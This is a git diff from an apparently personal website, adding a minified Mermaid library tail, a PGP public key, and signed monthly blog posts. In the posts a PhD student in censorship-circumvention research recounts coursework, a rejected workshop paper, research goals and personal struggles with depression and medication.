if(e)i=document.querySelectorAll(e);else throw new Error("Nodes and querySelector are both undefined");X.debug(`Found ${i.length} diagrams`),n?.startOnLoad!==void 0&&(X.debug("Start On Load: "+n?.startOnLoad),id.updateSiteConfig({startOnLoad:n?.startOnLoad}));let a=new qt.InitIDGenerator(n.deterministicIds,n.deterministicIDSeed),s,l=[];for(let u of Array.from(i)){X.info("Rendering diagram: "+u.id);if(u.getAttribute("data-processed"))continue;u.setAttribute("data-processed","true");let h=`mermaid-${a.next()}`;s=u.innerHTML,s=P3(qt.entityDecode(s)).trim().replace(//gi,"
    ");let f=qt.detectInit(s);f&&X.debug("Detected early reinit: ",f);try{let{svg:d,bindFunctions:p}=await F3e(h,s,u);u.innerHTML=d,t&&await t(h),p&&p(u)}catch(d){Aat(d,l,hh.parseError)}}if(l.length>0)throw l[0]},"runThrowsErrors"),O3e=o(function(t){id.initialize(t)},"initialize"),Dat=o(async function(t,e,r){X.warn("mermaid.init is deprecated. Please use run instead."),t&&O3e(t);let n={postRenderCallback:r,querySelector:".mermaid"};typeof e=="string"?n.querySelector=e:e&&(e instanceof HTMLElement?n.nodes=[e]:n.nodes=e),await I3e(n)},"init"),Lat=o(async(t,{lazyLoad:e=!0}={})=>{wy(),ev(...t),e===!1&&await r3e()},"registerExternalDiagrams"),P3e=o(function(){if(hh.startOnLoad){let{startOnLoad:t}=id.getConfig();t&&hh.run().catch(e=>X.error("Mermaid failed to initialize",e))}},"contentLoaded");if(typeof document<"u"){window.addEventListener("load",P3e,!1)}var Rat=o(function(t){hh.parseError=t},"setParseErrorHandler"),YC=[],zz=!1,B3e=o(async()=>{if(!zz){for(zz=!0;YC.length>0;){let t=YC.shift();if(t)try{await t()}catch(e){X.error("Error executing queue",e)}}zz=!1}},"executeQueue"),Nat=o(async(t,e)=>new Promise((r,n)=>{let i=o(()=>new Promise((a,s)=>{id.parse(t,e).then(l=>{a(l),r(l)},l=>{X.error("Error parsing",l),hh.parseError?.(l),s(l),n(l)})}),"performCall");YC.push(i),B3e().catch(n)}),"parse"),F3e=o((t,e,r)=>new Promise((n,i)=>{let a=o(()=>new Promise((s,l)=>{id.render(t,e,r).then(u=>{s(u),n(u)},u=>{X.error("Error parsing",u),hh.parseError?.(u),l(u),i(u)})}),"performCall");YC.push(a),B3e().catch(i)}),"render"),Mat=o(()=>Object.keys(gu).map(t=>({id:t})),"getRegisteredDiagramsMetadata"),hh={startOnLoad:!0,mermaidAPI:id,parse:Nat,render:F3e,init:Dat,run:I3e,registerExternalDiagrams:Lat,registerLayoutLoaders:zI,initialize:O3e,parseError:void 0,contentLoaded:P3e,setParseErrorHandler:Rat,detectType:_0,registerIconPacks:O3,getRegisteredDiagramsMetadata:Mat},Iat=hh;return Y3e(Oat);})(); +/*! Check if previously processed */ +/*! + * Wait for document loaded before starting the execution + */ +/*! Bundled license information: + +dompurify/dist/purify.es.mjs: + (*! @license DOMPurify 3.2.6 | (c) Cure53 and other contributors | Released under the Apache license 2.0 and Mozilla Public License 2.0 | github.com/cure53/DOMPurify/blob/3.2.6/LICENSE *) + +js-yaml/dist/js-yaml.mjs: + (*! js-yaml 4.1.0 https://github.com/nodeca/js-yaml @license MIT *) + +lodash-es/lodash.js: + (** + * @license + * Lodash (Custom Build) + * Build: `lodash modularize exports="es" -o ./` + * Copyright OpenJS Foundation and other contributors + * Released under MIT license + * Based on Underscore.js 1.8.3 + * Copyright Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors + *) + +cytoscape/dist/cytoscape.esm.mjs: + (*! + Embeddable Minimum Strictly-Compliant Promises/A+ 1.1.1 Thenable + Copyright (c) 2013-2014 Ralf S. Engelschall (http://engelschall.com) + Licensed under The MIT License (http://opensource.org/licenses/MIT) + *) + (*! + Event object based on jQuery events, MIT license + + https://jquery.org/license/ + https://tldrlegal.com/license/mit-license + https://github.com/jquery/jquery/blob/master/src/event.js + *) + (*! Bezier curve function generator. Copyright Gaetan Renaudeau. MIT License: http://en.wikipedia.org/wiki/MIT_License *) + (*! Runge-Kutta spring physics function generator. Adapted from Framer.js, copyright Koen Bok. MIT License: http://en.wikipedia.org/wiki/MIT_License *) +*/ +globalThis["mermaid"] = globalThis.__esbuild_esm_mermaid_nm["mermaid"].default; diff --git a/static/keys/iman-alipour-pgp.asc b/static/keys/iman-alipour-pgp.asc new file mode 100644 index 0000000..b7588db --- /dev/null +++ b/static/keys/iman-alipour-pgp.asc @@ -0,0 +1,51 @@ +-----BEGIN PGP PUBLIC KEY BLOCK----- + +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 +=mAs8 +-----END PGP PUBLIC KEY BLOCK----- diff --git a/static/keys/iman-fpr.txt b/static/keys/iman-fpr.txt new file mode 100644 index 0000000..7f5c1c0 --- /dev/null +++ b/static/keys/iman-fpr.txt @@ -0,0 +1 @@ +55A2A5DE84792BACC6CAEE3FB5882850E04C8D2A diff --git a/static/sources/PhD_journey/April_2026.md b/static/sources/PhD_journey/April_2026.md new file mode 100644 index 0000000..4862d9d --- /dev/null +++ b/static/sources/PhD_journey/April_2026.md @@ -0,0 +1,24 @@ ++++ +title = "April '26" +date = 2026-05-03T03:26:09Z +draft = false ++++ + +I know, I know. I've been lacking updates. I'm so so sorry. I will try to summerize what I've been up tp in the past few months. + +Up until the middle of March, I've been taking care of the last bits of coursework I had to do during my prep phase. And now I'm done with that all together. + +I took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn't know much about. Though no mail server for me unfortunately. + +I was then approached by a colleague who's research needed a bit of push to get to the IMC deadline, and we pushed "HARD". We submitted the paper with so much chaos I would say. But we did it. + +Now I wonder, both my research projects that I've been working on feel like there are more advanced than what we submitted, then we am I not drafting papers for them?! I will talk to my advisor about this. :) + +I also kinda started a new project, or at least we have floated the idea of, which sounds exciting. I would be working with one of my favorite group members. A true nerd! :) + +I will try to be more consistant throughout May by providing updates. Please cross your fingers for me! :D + + +--- + +{{< sigdl >}} diff --git a/static/sources/PhD_journey/April_2026.md.asc b/static/sources/PhD_journey/April_2026.md.asc new file mode 100644 index 0000000..5c0e806 --- /dev/null +++ b/static/sources/PhD_journey/April_2026.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM +jSo5RA/6AuVU66S+Io6igMjGYrllC4bO4bWusSWwCUdbnqe7j1cewMBJwciI1O9y +fCQGlzP//JW3MKhAfI6uJRKNlTCIpDjMmRiivu7nmZRJKCsomOmdmThNwddaJIQ/ +vnaalb9NgZB7xp6WtU/FUUuXEls6S8l0A+RNCQvo33+U+JiH5YbFUbXQkbjggTcP +GGrA8JYXBQvIdHN6xAvGbLhuYnyc9KNayUOdp3FK6ecMzIhT1pZ/O/pE2J+kKRif +vQyuWINpZZWxSV8+UMSmuwqBDvdVthWGezxS3/Kr3V/Y3OPJkfsv121hQkoyGhmM +1CXfwtD6I9aUHiuQfC5PW/zKYyujhoQ8RDPjK6IQ5jcjSeAE16h0O9MYFtbbrJqq +AhP8p+XIL9J0xuwLqsN1wHhnd1COo/fpa0q8P5YsFi+F+sQmIX1waNiM2Bc69ZBh +S+DcTUF4MsSSWFFfrts7BuXZQDFWqfEavqvSPQ3BRl/6QHZXmWtKGMb6o+GZSxRI +hTTy7SSjCVR5TwCIcTExOe6NxbSJhR/7RwPwbvfoLS3Tji7WmDOD6qeFZY9G8Tyw +vr9LIXqyrjKcltjpj6UEtjy3+sXYPxw2XL0bdjlzdgg4afI7gJ9+b2QjHKYYYy8H +DjdPpaWlQvkGOBkfM+11Cwn5Q7U5+VdY+Qil0Qc/g2Ksl77/nvQ= +=Wtha +-----END PGP SIGNATURE----- diff --git a/static/sources/PhD_journey/Augest_2025.md b/static/sources/PhD_journey/Augest_2025.md new file mode 100644 index 0000000..f703754 --- /dev/null +++ b/static/sources/PhD_journey/Augest_2025.md @@ -0,0 +1,31 @@ ++++ +title = "Augest '25" +date = 2025-08-31T07:49:24Z +draft = false ++++ + +This month started with me setting up a deadline for Conext student workshop. +I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. +I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. +This darn thing wasted so much of my time! +I did learn a bit along the way, but oh well. +Such is life! + +Overall not the most productive month, but one reason for it is that I have't really had a real vacation in a long time. +I will be taking a 10 day vacation next month just to reset, and gain back my power. +I cross my fingers for the month ahead! + +My social life has been becoming better too. +I've been trying to attend more ZiS events to meet people, make new connections, and to have fun! +My depression is a serious issue. +I also have anxiety disorder that I'm talking with my therapist about. +I will most likely start taking SSRIs once again. +Idiot me was cutting it when the catasrophe in February happened and did not think twice to keep taking them. +I'm really glad I was able to recover, though it was not easy at all, it did work out. + +I do think there is bright nice future ahead of me; I just need to keep on trucking and not worry too much. +Things will workout! + +--- + +{{< sigdl >}} diff --git a/static/sources/PhD_journey/Augest_2025.md.asc b/static/sources/PhD_journey/Augest_2025.md.asc new file mode 100644 index 0000000..e6e3fef --- /dev/null +++ b/static/sources/PhD_journey/Augest_2025.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM +jSqiRBAAv6TLJK+7ycaudx3U1GGOdsihVMLEG/AXcj9fJFIWKouz0AXU3xEJl8Ks +lyF1tiik69ZuDqToAj9buwiIG+fll/nLElWP+DVSpDrHh86tEtQFlf9inf8DYXGK +3GUhTLyAleNRxSNVe7ZG7SpIN9gk/WYRxbhHQAIVPSWKH+IMTNJuWUtIBXbSEy1K +SYcl4coVXJwDOPLj+huKrBQoScmUSPYow5KELzQOOLK+HG6M9vXSq3+hDUiWx4MT +OaEFEU47rit9lEsUzjKNh56WthwBf3sWdLPgCxFfZY6L8Pk7GmOJC/XPB/31RBX1 +VFNy+IqbYPUlafphpT9SuhyLktqKNL9BnK9700dz6w3xI46B8v8d8kmVyoGhzTyi +rEt3baTm874Jo4PSZjToL7+6VpbvlzFz57G/1WmmX1jSr++L7Cncyz2Oo6H+Bpw9 +Ax2JFZz760sxs978Y2fno5o5rkVKEt+GgLA+WkSb0NCq/r67wEhMR5/i4oBTOHmC +OWbsxUDTTE7JhPn95LUUb7oji2IxMdLC6RlPPNb+VYlhFbju0IhhArZYqc4vuieC +5CQIbWuYoPIpvf0XCQHHABJF+zzq6AzJhnIbgGg58sZ/yrYFM8cI6GVxsOy92ADT +eCzo4ktTpt4YHhw/Fj/eRzzvJzRrtP3+AtIvQjDwKigco7f3wgY= +=vvS6 +-----END PGP SIGNATURE----- diff --git a/static/sources/PhD_journey/November_2025.md b/static/sources/PhD_journey/November_2025.md new file mode 100644 index 0000000..6d81d9e --- /dev/null +++ b/static/sources/PhD_journey/November_2025.md @@ -0,0 +1,25 @@ ++++ +title = "November '25" +date = 2025-11-30T07:53:40Z +draft = false ++++ + +# 4th +Again, let's setup some goals for the month. +- Literature review +- Keeping up with my coursework +- Working on my codebase +- Getting healthier diet and excercise-wise + +# 30th +I did a bit of literature review, it's still lacking unfortunately. + +Coursework is ok-ish. I've been trying to work on assignements and understand them. + +I rewrote the whole codebase, now we have a modularized design that should be easier to add to. + +I've been eating more and more healthy, excercise is still lacking. I'll get to that later. + +--- + +{{< sigdl >}} diff --git a/static/sources/PhD_journey/November_2025.md.asc b/static/sources/PhD_journey/November_2025.md.asc new file mode 100644 index 0000000..dc91c6b --- /dev/null +++ b/static/sources/PhD_journey/November_2025.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM +jSp+yw/9Fr8915ynwUw1iwRRONv5U0/JIYcvwbBZhGA4ylatwUpcqkvm3dRWZkcp +HpxKAL8RPCyAZuqtMZel63BpjhWPfImHUA7/4h7CbGN//zJNLaKlL+93WUlDzrbB +A2D1JZvMl6dPC65IXzRMMPnaL1lM6Ka7dNMN2KyT/L3VUsp6uxXk8Dxueu+kpPgk ++w1DkW+BryX2efPfc7kG3kI7C0ui4LxoHwphfMulqnVlHlrG67+nqQXzMG0MGbHu +j3kjROJAv65K+g7uxWgwYYorxX5yoC2dZZAYt226V8nIw4KPksyzqGv22d2h7AzP +CzxTYpLlhLW+2yb9TKlg8uVi0QCg+akbaEbU2k6RC7+oFA14/1teE6MgCXwCx3Nz +mP7SndZoR+fP7uignlO4v0UdmiFsbUQNRap/TnebCkz/PUX2xMIXPOZWyzKSvpgb +CIRPuOyWo13SrZxPEArrLOA3tGERPqp+oRiKN8gX37ph2dQzeg8o5WR/2vz2Cc64 +P9zEum8wZdV6dKaqkkAaGjWvDrkTLiobXvjwvP4tfH8TM/B4BYm0RmKRK1vJGsUm +Hu4ukK7mGkQWYoL3mCBnlsaT9zoJJmuHxyUBj3iHj7y6t2eu7oQQLBgS9M1F0El8 +1ZmGjhVLJAB9bQyxAMwOBd6EBUC+Y/sFcTSViytTtFUn+NA1MUo= +=F8i0 +-----END PGP SIGNATURE----- diff --git a/static/sources/PhD_journey/October_2025.md b/static/sources/PhD_journey/October_2025.md new file mode 100644 index 0000000..4264f02 --- /dev/null +++ b/static/sources/PhD_journey/October_2025.md @@ -0,0 +1,158 @@ ++++ +title = "October '25" +date = 2025-10-31T08:40:43Z +draft = false ++++ + +# 1st +Ok, let's start the month by declareing some goals and agendas. + +What do I want to do this month? +- Finish previous semester. +- Pick the last of the course work for my prep phase. +- Finalize the CoNEXT student workshop paper. +- Finish my second RIL. +- Start my 3rd and last RIL. +- Learn more Go to become more comfortable with it, but how do I set this as a measureable goal? +- More literature review, persumabely all of FOCI related papers this month. +- Work on my codebase: + 1. Do code cleaning + 2. Add comments for code + 3. Start working on ICMP stuff +- More socializing! :-) +- A fun pet project? Maybe with Go? Maybe with 3d printer? Idk. +- Enhance your routines and add exercise to it please! + +Alright. Now that the goals are set, let's start the month strong! +My last exam for pervious semester will be on October 7th. +I have done 74 ECTS, another 6 will be my last RIL. +If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. +I then just need to do my QE for which I should submit my first paper for which I'm doing work! + +I have started to take SSRIs again. +I used to take them before I came to Germany to start my PhD, but after coming here things were going really well for many months, and I wanted to cut the medication. +I was taking more than just SSRIs actually, and my psychiatrist agreed to cut all other three medications but advised me to keep taking my SSRI. +After being all happy and things working very well, we started to cut the last piece of the puzzle. +We agreed to reduce the dosage by 0.25% of the max and wait for one month. +Things were going really well for the first two and a half month, and then it happened. +The catastrophe that put me in my worst mental and physicall position happened to me. +It's not something I want to talk about in my blog, well at least for now, but I've tried to talk about it with my closest friends. +It's so sad that things happened the way they did. +I never really fully recovered. +But... time has passed. +Almost 8 months now. +I should not have continued to cut my medication, but I did. +I damaged myself badly by being stubborn. +My brother who knew everything insisted that I should continue the usage, but I didn't listen. +My parents didn't know anything, but could see thier happy son turning into the saddest, most depressed thing of all time. +I was scared of my own shadow for more than one month. +I eventually started to go out, but seeing some certain people made me uncomfortable. +This is another thing I haven't been able to figure out. +In the end, I just endured pain, a lot of pain. +I'm glad I didn't break, but I do think most people would've. +To deal with this pain, I decided to take many courses. +Cure pain with more pain. +What a fool I was. +I just tore myself up mentally and added much more unneeded stress. + +Did I mention I didn't show up in office for 6 weeks? +And that when I came back I was hit again with things I didn't understand? +Sometimes in life shit happens, but this was a whole new level. +I don't know how much of this I want to talk about publicly, but I do want to just say that I was hurt really badly. +I've been trying to just lay low, stick to myself, and stay the hell out of trouble. + +# 3rd +Today is the German unity day, and we have a long weekend ahead! +Other than that, last night was one of the most fantabolous days of my life. +I'm feeling more content and secure. +I'm feeling true happiness. +I don't know how much the SSRI is affecting me, but I know one thing for sure. +I'm just like I used to be 9 months ago. +Just as jolly, positive, and feeling like I'm on top of the world. +Thinking about it a bit more, I do think I'm being a bit less passionate about my work. +What could be the reason? Different priorities? Nah. I really love my research and care about it. +I think it's just that there is no pressure on me, and no deadline. +I will try to set small deadlines for myself and force myself to be more productive. +Oh, and the SSRI adverse effects are visible! Yeah... But it's going to be alright, I'm sure of it. +I have an exam I need to prepare for on 7th, but I've been procrastinating. I should plan my days and stick to it. Hell yes. + +# 5th +My student workshop paper to CoNEXT '25 was rejected. +It got one weak accept and one weak reject, with both reviewers claiming to have somewhat familiarity with the topic. + +First review (wa) provided two suggestions for improving the work. +However, as this was a workshop paper, the goal was to talk about the research in the presentation and afterwards fine-tune details. + +Second review (wr) asked for more details. +In the end they suggested only focusing on one approach and it's evaluation. +This kinda defeated the purpose of what I was trying to do, to provide "tools". + +Another thing they mentioned was how ML-based traffic analysis can be used to detect evasion. +This is indeed something I like to work on and look at in the near future. + +# 7th +Stressful day. +I had my last exam, the exam for Interactive systems that I did not attend the main exam for. +I tried to study over the weekend, but some weird things happened throughout the weekend, making my very distracted mind even more distracted. +I don't know how I did, but I'm glad I did the exam. +Hopefully I did alright, although I kinda do know some of the mistakes I've made, which is a really bad sign... +I hope I won't have to take another extra course in the next semesters, that would just be annoying. +I really do hope so. + +# 8th +I'm back at work, still very distracted with life. +I do need to do literature review, expand my framework, and focus on my work. +It's a Wednesday unfortunately, meaning I have my German class until 9:30, which today it lasted until 9:45, and then we have cookies at 14:00. +I hope I can get myself together and start being productive again. + +# 9th +I will be doing literature review today. +Yesteday I didn't manage to get myself together. Drat. +There will be a nice social event later today too. +I can rest and socialize with my group's amazing people! +It'll be fun! :) + +Another fun thing is that I will get my very own physical GFW box today. +It's probably the most majestic thing that could've happened? +The reason for it is that a month ago there was a leak for GFW. +Lucky us I guess. + +# 13th +Last week was again not a productive week. +I will start to plan my days from now on. +The important things are literature review, working on the code base, and looking at the box a bit. +Unfortunately the new semester also starts from today. +I'll be having one, at most two courses. + +# 17th +Another unproductive week. +I think this was the worst one actually. +I can't focus on reading the papers, I get distracted easily or lose interest. +Tobias suggested USENIX's 3-slide slide deck to enhance my focus, I'll give it a try. + +I also need to address the elephant in the room, and start working on the codebase. + +I also need to look at the GFW files more, and try to find useful stuff there. + +But first I need to work on HTDN's papers, and craft the slides. That is the highest priority on my list. I'll do it. + +--- + +# 31st +It went by. +It went by quickly. +I wasn't able to pick myself up this month, but I won't let it happen in the following. +I want to be truthful, so I won't hide anything. +the only thing is I should've let myself grief a bit, and I did. I'm proud of it. It's fine. +For next month, I will start strong, try to get myself together, and pick myself up. I will make progress. +I promise. + +Also I think there is no point in me ranting everyday or every once in a while in my PhD journey posts? Maybe it's not a bad thing. The problem is I don't have much to present, and that's why this is the content. Idk if I change the structure or not, but for now it is what it is. + +Ok, let's set some goals for next month in advance, then we can see how good we did. +- I want to work on ICMP stuff and make it work nicely. +- I want to do more literature review, maybe read all 2025 and 2024 censorship papers. Cross your fingers for this. +- I need to keep up with my courses, including the German class. +- I might work more on the GFW leaked data, but I think it's not a priority for me for now. So... scrap this last one. + +{{< sigdl >}} diff --git a/static/sources/PhD_journey/October_2025.md.asc b/static/sources/PhD_journey/October_2025.md.asc new file mode 100644 index 0000000..31bbf49 --- /dev/null +++ b/static/sources/PhD_journey/October_2025.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbtwACgkQtYgoUOBM +jSryHhAAvH+XWK2675p6vFyzP9ZVDmyh1klyhNM/rLiErk5GfmnwNmKQIFxoMei9 +2UuypSgH7l7mG9Ga+1Ph9W5YhA0qMMbA5LVWMyqlRfvVF9hoY4On21YRBieXqwsx +G4jS7A4PxYZbRt8+lVuyphe+KMRiwOMfPuWoIse2hfpfhs64h+cmZVPen5zsWHD5 +2jAV888Y5oqGc9uISf380zBqEn3jIJOxiWCi+4vS6p87h0x8E2tVqCUNQEGgiriu +NLBkMOkuXAlQZnnv379jX4wh7N79bVjDoH3IHRQx+W8FqEGzu11D3VxO85+Q5/EY +n0FvOI4EXtWAHKjsHFcEX/MfXESy5zwNgIWW7+8OYnIv1CRPLPz/hHoZxklkflyZ +yqNdg8o+aRHsqbDVQxIKQXH5xUEcDH+9A7bRxmCmgksML01dPnrcw4ioYzu+t0em +4DRVp1HWJP/P7Sv2QrR6KgLS3DINRzC7ZkzV7Yeg40eQcb7BadEAZZ9aEjjDJtR0 +B/n18yUje9BWNFc7nYKkmBYO4UU4L5O1lJWQZhgLrfWxZziJSRs2WTD+tKsbY+5/ +YSEmToD9nAFioRSpWIV9/uYlsJYfGFtCCgNb/JD2uE+bROitVdZ6auE5AXmef1aN +t1QRAQvtpctfFlmwkDdb0BLFS5GSbRr55mkLg1yGS2o4zsC6FQ8= +=NvQ7 +-----END PGP SIGNATURE----- diff --git a/static/sources/PhD_journey/September_2025.md b/static/sources/PhD_journey/September_2025.md new file mode 100644 index 0000000..92ba367 --- /dev/null +++ b/static/sources/PhD_journey/September_2025.md @@ -0,0 +1,39 @@ ++++ +title = "September '25" +date = 2025-09-30T09:48:21Z +draft = false ++++ + +I started the month by finalizing my draft for Conext Student workshop. +Let's cross our fingers and hope things work out and that it gets accepted. +Notification should arrive on 25th, and I'd have until 30th to do the camera ready stuff which should be plenty of time. + +I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. +I visited my parents after 13 months(!), and also my brother after more than two years. +We had so much fun! +I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. +What a delightful trip it was. +I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. +Now that my brother also has his greencard, we can travel together and see eachother more often too! + +Surprise surprize, the notification did not come and it's the last day of the month. +Ever since I came back from vacation I tried to catch up with everything, did my ML re-exam, and setup all different cool things I talked about in my blog. +I've been waiting for the notification to get started with the camera-ready process to make sure I have enough time to study for my next and last exam on 7th of October... +Drat! + +I will probably do more literature review this last day of the month, and start working on the code base from next month. +I should do a lot more literature review to be caught up with whatever that's been done so far. + +My social life has been much more exciting too. +I've been socializing a lot more and have made many new friends. +Some other exciting things have also been hapening that I don't have the courage to write about now. ;) +Buuuuuut... I will probably write about them at some point if things go the way I hope theuy would. +Just remember Wed 24th of September 2025 and Sunday 28th of same month and year. :) + +And with that, that's my September in a nutshell. +I will probably start writing through the month and then turn the draft into a post from now on. +That way it would look like a story! + +--- + +{{< sigdl >}} diff --git a/static/sources/PhD_journey/September_2025.md.asc b/static/sources/PhD_journey/September_2025.md.asc new file mode 100644 index 0000000..7eec988 --- /dev/null +++ b/static/sources/PhD_journey/September_2025.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM +jSqrxg//VPgfKmG//gebN1gP5nOOmM4y1eoDvolP+Np/gpwm2Y2viYAv+njdwQag +w8UdLk1WKyc5EuKcuDXFaHK36VKk0Jr8jwRnPB98huKrYBmESj02HB19FgjIhYmk +IWNqEpIMeYVnWvZOKTGsvpdrAHc/694syjnQ9ZYQWFGOe+QGYpGsYEhei8tbjv7y +3giN/X4Vz8oowHlF0XCiBm+E2UxtcwgpFxaBN6tTb2AyzqMtt86zAfwvvPI/mJjl +MycRwHso3tVLt56ga28J88FdMdAfw2T60oCBBy3absRZUIGDOGYNWgUIIB+0JzZG +1wVD6Et5dP52WHcNwfSjBFWCCZossgYs6u6yUeOCHp3eHsq+nEpRj0IGsHBZUn4t +xxwF+HzHtVd9JWZHcfhLnh16PRT+drJlrCpHob2MzcrrBapVdWomjAidDu2PwyNm +9adYEohRZeM09EY16M6D+0JJDaQcHkL4TbTr/S1xbZ+K/5L+tLI9Mg0XoX0ZdG0B 